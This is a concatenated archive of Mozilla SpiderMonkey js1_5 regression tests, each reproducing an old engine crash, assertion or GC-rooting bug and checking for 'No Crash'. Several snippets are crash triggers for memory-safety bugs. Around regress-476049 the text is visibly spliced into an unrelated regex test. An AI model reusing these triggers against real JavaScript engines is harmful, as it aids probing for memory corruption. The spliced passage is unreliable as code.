http://creativecommons.org/licenses/publicdomain/ * Contributor: Blake Kaplan */ //----------------------------------------------------------------------------- var BUGNUMBER = 325925; var summary = 'Do not Assert: c <= cs->length in AddCharacterToCharSet'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); /[\cA]/.exec('\x01'); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-311071.js0000664000175000017500000000123612106270663022245 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 311071; var summary = 'treat <! as the start of a comment to end of line if not e4x'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); expect = 'foo'; actual = 'foo'; ; actual = 'bar'; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-317714-01.js0000664000175000017500000000120112106270663022465 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 317714; var summary = 'Regression test for regression from bug 316885'; var actual = 'No Crash'; var expect = 'No Crash'; var d5="-1"; var r3=d5.split(":"); r3[0]++; printBugNumber(BUGNUMBER); printStatus (summary); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-470187-02.js0000664000175000017500000000155312106270663022504 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 470187; var summary = 'Do not assert: ATOM_IS_STRING(atom)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - []; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-213482.js0000664000175000017500000000144612106270663022257 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 213482; var summary = 'Do not crash watching property when watcher sets property'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var testobj = {value: 'foo'}; function watched (a, b, c) { testobj.value = (new Date()).getTime(); } function setTest() { testobj.value = 'b'; } testobj.watch("value", watched); setTest(); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-470758-02.js0000664000175000017500000000151012106270663022501 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Blake Kaplan */ //----------------------------------------------------------------------------- var BUGNUMBER = 470758; var summary = 'Promote evald initializer into upvar'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 5; (function(){var x;eval("for (x = 0; x < 5; x++);");print(actual = x);})(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-253150.js0000664000175000017500000000257612106270663022260 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 253150; var summary = 'Do not warn on detecting properties'; var actual = ''; var expect = 'No warning'; printBugNumber(BUGNUMBER); printStatus (summary); var testobject = {}; options('strict'); options('werror'); try { var testresult = testobject.foo; actual = 'No warning'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 1'); try { if (testobject.foo) { ; } actual = 'No warning'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 2'); try { if (typeof testobject.foo == 'undefined') { ; } actual = 'No warning'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 3'); try { if (testobject.foo == null) { ; } actual = 'No warning'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 4'); try { if (testobject.foo == undefined) { ; } actual = 'No warning'; } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 3'); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-352197.js0000664000175000017500000000245012106270663022262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 352197; var summary = 'Strict warning for return e; vs. return;'; var actual = ''; var expect = 'TypeError: function f does not always return a value'; printBugNumber(BUGNUMBER); printStatus (summary); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { eval('function f() { if (x) return y; }'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 1'); try { eval('function f() { if (x) { return y; } }'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 2'); var f; expect = 'TypeError: function anonymous does not always return a value'; try { f = Function('if (x) return y;'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 3'); try { f = Function('if (x) { return y; }'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 4'); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-462879.js0000664000175000017500000000161012106270663022270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 462879; var summary = 'Do not assert: UPVAR_FRAME_SKIP(uva->vector[i]) == 1'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { (function(c){eval("eval('c.x')")})(); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-312588.js0000664000175000017500000000135512106270663022265 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 312588; var summary = 'Do not crash creating infinite array'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); expectExitCode(3); var a = new Array(); try { while (1) { (a = new Array(a)).sort(); } } catch(ex) { print(ex + ''); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-352604.js0000664000175000017500000000155412106270663022257 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 352604; var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); delete Function; var x = function () {}; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-280769-5.js0000664000175000017500000000160412106270663022431 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 280769; var summary = 'Do not overflow 64K string offset'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var N = 100 * 1000; var prefix = new Array(N).join("a"); // prefix is sequence of N "a" var suffix = "111"; var re = new RegExp(prefix+"0?"+suffix); // re is /aaa...aaa0?111/ var str_to_match = prefix+suffix; // str_to_match is "aaa...aaa111" var index = str_to_match.search(re); expect = 0; actual = index; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-96128-n.js0000664000175000017500000000307512106270663022440 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 29 Aug 2001 * * SUMMARY: Negative test that JS infinite recursion protection works. * We expect the code here to fail (i.e. exit code 3), but NOT crash. * * See http://bugzilla.mozilla.org/show_bug.cgi?id=96128 */ //----------------------------------------------------------------------------- var BUGNUMBER = 96128; var summary = 'Testing that JS infinite recursion protection works'; function objRecurse() { /* * jband: * * Causes a stack overflow crash in debug builds of both the browser * and the shell. In the release builds this is safely caught by the * "too much recursion" mechanism. If I remove the 'new' from the code below * this is safely caught in both debug and release builds. The 'new' causes a * lookup for the Constructor name and seems to (at least) double the number * of items on the C stack for the given interpLevel depth. */ return new objRecurse(); } //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); // we expect this to fail (exit code 3), but NOT crash. - var obj = new objRecurse(); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-476049.js0000664000175000017500000000223312106270663022264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 476049; var summary = 'JSOP_DEFVAR enables gvar optimization for non-permanent properties'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); // This test requires either two input files in the shell or two // script blocks in the browser. if (typeof window == 'undefined') { print(expect = actual = 'Test skipped'); } else { document.write( '\n' + '\n' + '\n'; if (!options().match(/relimit/)) { options('relimit'); } try { //.exec(s); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': //.exec(s)'); function testre( re, n ) { for ( var i= 0; i <= n; ++i ) { re.test( Array( i+1 ).join() ); } } try { testre( /(?:,*)*x/, 22 ); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': testre( /(?:,*)*x/, 22 )'); try { testre( /(?:,|,)*x/, 22 ); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': testre( /(?:,|,)*x/, 22 )'); try { testre( /(?:,|,|,|,|,)*x/, 10 ); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': testre( /(?:,|,|,|,|,)*x/, 10 )'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-446386.js0000664000175000017500000000216312106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 446386; var summary = 'Do not crash throwing error without compiler pseudo-frame'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof evalcx == 'undefined') { print(expect = actual = 'Test skipped. evalcx required.'); } else { try { try { evalcx("."); throw "must throw"; } catch (e) { if (e.name != "SyntaxError") throw e; } } catch(ex) { actual = ex + ''; } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-50447.js0000664000175000017500000000651412106270663022765 0ustar sstanglsstangl// |reftest| skip -- obsolete test /* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * SUMMARY: New properties fileName, lineNumber have been added to Error objects * in SpiderMonkey. These are non-ECMA extensions and do not exist in Rhino. * * See http://bugzilla.mozilla.org/show_bug.cgi?id=50447 */ //----------------------------------------------------------------------------- var BUGNUMBER = 50447; var summary = 'Test (non-ECMA) Error object properties fileName, lineNumber'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); testRealError(); test1(); test2(); test3(); test4(); exitFunc('test'); } function testRealError() { /* throw a real error, and see what it looks like */ enterFunc ("testRealError"); try { blabla; } catch (e) { if (e.fileName.search (/-50447\.js$/i) == -1) reportCompare('PASS', 'FAIL', "expected fileName to end with '-50447.js'"); reportCompare (83, e.lineNumber, "lineNumber property returned unexpected value."); } exitFunc ("testRealError"); } function test1() { /* generate an error with msg, file, and lineno properties */ enterFunc ("test1"); var e = new InternalError ("msg", "file", 2); reportCompare ("(new InternalError(\"msg\", \"file\", 2))", e.toSource(), "toSource() returned unexpected result."); reportCompare ("file", e.fileName, "fileName property returned unexpected value."); reportCompare (2, e.lineNumber, "lineNumber property returned unexpected value."); exitFunc ("test1"); } function test2() { /* generate an error with only msg property */ enterFunc ("test2"); var e = new InternalError ("msg"); reportCompare ("(new InternalError(\"msg\", \"\"))", e.toSource(), "toSource() returned unexpected result."); reportCompare ("", e.fileName, "fileName property returned unexpected value."); reportCompare (0, e.lineNumber, "lineNumber property returned unexpected value."); exitFunc ("test2"); } function test3() { /* generate an error with only msg and lineNo properties */ enterFunc ("test3"); var e = new InternalError ("msg"); e.lineNumber = 10; reportCompare ("(new InternalError(\"msg\", \"\", 10))", e.toSource(), "toSource() returned unexpected result."); reportCompare ("", e.fileName, "fileName property returned unexpected value."); reportCompare (10, e.lineNumber, "lineNumber property returned unexpected value."); exitFunc ("test3"); } function test4() { /* generate an error with only msg and filename properties */ enterFunc ("test4"); var e = new InternalError ("msg", "file"); reportCompare ("(new InternalError(\"msg\", \"file\"))", e.toSource(), "toSource() returned unexpected result."); reportCompare ("file", e.fileName, "fileName property returned unexpected value."); reportCompare (0, e.lineNumber, "lineNumber property returned unexpected value."); exitFunc ("test4"); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-369696-03.js0000775000175000017500000000224212106270663023305 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 369696; var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var x = [[[ { toSource: function() { gc(); }}]]]; var a = []; a[0] = a; a.toSource = a.toString; Array.prototype.toSource.call(a); //cx->sharpObjectMap.depth == -2 (function() { var tmp = []; for (var i = 0; i != 30*1000; ++i) { var tmp2 = []; tmp.push(tmp2); tmp2.toSource(); } })(); gc(); x.toSource(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-311792-02.js0000664000175000017500000000167212106270663023267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 311792; var summary = 'Root Array.prototype methods'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var subverted = 0; function index_getter() { delete a[0]; gc(); for (var i = 0; i != 1 << 14; ++i) { var tmp = new String("test"); tmp = null; } return 1; } function index_setter(value) { subverted = value; } var a = [ Math.sqrt(2), 0 ]; a.__defineGetter__(1, index_getter); a.__defineSetter__(1, index_setter); a.reverse(); printStatus(subverted) reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-354541-04.js0000664000175000017500000000357312106270663023272 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 354541; var summary = 'Regression to standard class constructors in case labels'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary + ': in function'); String.prototype.trim = function() { return 'hallo'; }; const S = String; const Sp = String.prototype; expect = 'hallo'; var expectStringInvariant = true; var actualStringInvariant; var expectStringPrototypeInvariant = true; var actualStringPrototypeInvariant; if (typeof Script == 'undefined') { print('Test skipped. Script is not defined'); reportCompare("Script not defined, Test skipped.", "Script not defined, Test skipped.", summary); } else { s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; actualStringInvariant = (String === S); actualStringPrototypeInvariant = (String.prototype === Sp); actual = "".trim();'); try { s(); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, 'trim() returned'); reportCompare(expectStringInvariant, actualStringInvariant, 'String invariant'); reportCompare(expectStringPrototypeInvariant, actualStringPrototypeInvariant, 'String.prototype invariant'); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-380581.js0000664000175000017500000000160212106270663023043 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 380581; var summary = 'Incorrect uneval with setter in object literal'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '(function() { })'; actual = uneval(eval("(function() { })")); compareSource(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-346494-01.js0000664000175000017500000000612212106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 346494; var summary = 'various try...catch tests'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var pfx = "(function (x) {try {throw x}", cg1 = " catch (e if e === 42) {var v = 'catch guard 1 ' + e; actual += v + ','; print(v);}" cg2 = " catch (e if e === 43) {var v = 'catch guard 2 ' + e; actual += v + ','; print(v);}" cat = " catch (e) {var v = 'catch all ' + e; actual += v + ','; print(v);}" fin = " finally{var v = 'fin'; actual += v + ','; print(v)}", end = "})"; var exphash = { pfx: "(function (y) { var result = ''; y = y + ',';", cg1: "result += (y === '42,') ? ('catch guard 1 ' + y):'';", cg2: "result += (y === '43,') ? ('catch guard 2 ' + y):'';", cat: "result += /catch guard/.test(result) ? '': ('catch all ' + y);", fin: "result += 'fin,';", end: "return result;})" }; var src = [ pfx + fin + end, pfx + cat + end, pfx + cat + fin + end, pfx + cg1 + end, pfx + cg1 + fin + end, pfx + cg1 + cat + end, pfx + cg1 + cat + fin + end, pfx + cg1 + cg2 + end, pfx + cg1 + cg2 + fin + end, pfx + cg1 + cg2 + cat + end, pfx + cg1 + cg2 + cat + fin + end, ]; var expsrc = [ exphash.pfx + exphash.fin + exphash.end, exphash.pfx + exphash.cat + exphash.end, exphash.pfx + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1 + exphash.end, exphash.pfx + exphash.cg1 + exphash.fin + exphash.end, exphash.pfx + exphash.cg1 + exphash.cat + exphash.end, exphash.pfx + exphash.cg1 + exphash.cat + exphash.fin + exphash.end, exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.end, exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.fin + exphash.end, exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.cat + exphash.end, exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.cat + exphash.fin + exphash.end, ]; for (var i in src) { print("\n=== " + src[i]); var f = eval(src[i]); print(src[i]); var exp = eval(expsrc[i]); // dis(f); print('decompiling: ' + f); actual = ''; try { expect = exp(42); f(42) } catch (e) { print('tried f(42), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(43); f(43) } catch (e) { print('tried f(43), caught ' + e) } reportCompare(expect, actual, summary); actual = ''; try { expect = exp(44); f(44) } catch (e) { print('tried f(44), caught ' + e) } reportCompare(expect, actual, summary); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367119-02.js0000664000175000017500000000211512106270663023264 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367119; var summary = 'memory corruption in script_exec'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof Script == 'undefined') { print('Test skipped. Script or toSource not defined'); } else { var s = new Script(""); var o = { valueOf : function() { s.compile(""); print(1); return {}; } }; s.exec(o); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-381304.js0000664000175000017500000000347212106270663023044 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 381304; var summary = 'getter/setter with keywords'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var obj; print('1'); obj = { set inn(value) {this.for = value;}, get inn() {return this.for;} }; expect = '({get inn() { return this.for; }, set inn(value) { this.for = value; } })'; actual = obj.toSource(); compareSource(expect, actual, summary + ': 1'); print('2'); obj = { set in(value) {this.for = value;}, get in() {return this.for;} }; expect = '({ get in() { return this.for; }, set in(value) { this.for = value; } })'; actual = obj.toSource(); compareSource(expect, actual, summary + ': 2'); print('3'); obj = { set inn(value) {this.for = value;}, get in() {return this.for;} }; expect = '({ set inn(value) { this.for = value; }, get in() { return this.for; } })'; actual = obj.toSource(); compareSource(expect, actual, summary + ': 4'); print('4'); obj = { set in(value) {this.for = value;}, get inn() {return this.for;} }; expect = ' ({ set in(value) { this.for = value; }, get inn() { return this.for; } })'; actual = obj.toSource(); compareSource(expect, actual, summary + ': 5'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-303277.js0000664000175000017500000000127112106270663023042 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 303277; var summary = 'Do not crash with crash with a watchpoint for __proto__ property '; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var o = {}; o.watch("__proto__", function(){return null;}); o.__proto__ = null; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-435497-03.js0000664000175000017500000000165012106270663023275 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 435497; var summary = 'Do not assert op2 == JSOP_INITELEM'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval('(function() { x getter= function(){} ; var x5, x = 0x99; })();'); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-437288-01.js0000664000175000017500000000161712106270663023276 0ustar sstanglsstangl// |reftest| skip -- obsolete test /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 437288; var summary = 'for loop turning into a while loop'; var actual = 'No Hang'; var expect = 'No Hang'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); (function() { const x = 1; for (x in null); })(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-367923.js0000664000175000017500000000234412106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 367923; var summary = 'strict warning for variable redeclares argument'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); print('This test will fail in Gecko prior to 1.9'); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { expect = 'TypeError: variable v redeclares argument'; // syntax warning, need to eval to catch eval("(function (v) { var v; })(1)"); actual = 'No warning'; } catch(ex) { actual = ex + ''; print(ex); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-237461.js0000664000175000017500000000201012106270663023033 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 237461; var summary = 'don\'t crash with nested function collides with var'; var actual = 'Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); function g() { var core = {}; core.js = {}; core.js.init = function() { var loader = null; function loader() {} }; return core; } if (typeof Script == 'undefined') { print('Test skipped. Script not defined.'); } else { var s = new Script(""+g.toString()); try { var frozen = s.freeze(); // crash. printStatus("len:" + frozen.length); } catch(e) { } } actual = 'No Crash'; reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-355982.js0000664000175000017500000000202212106270663023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code 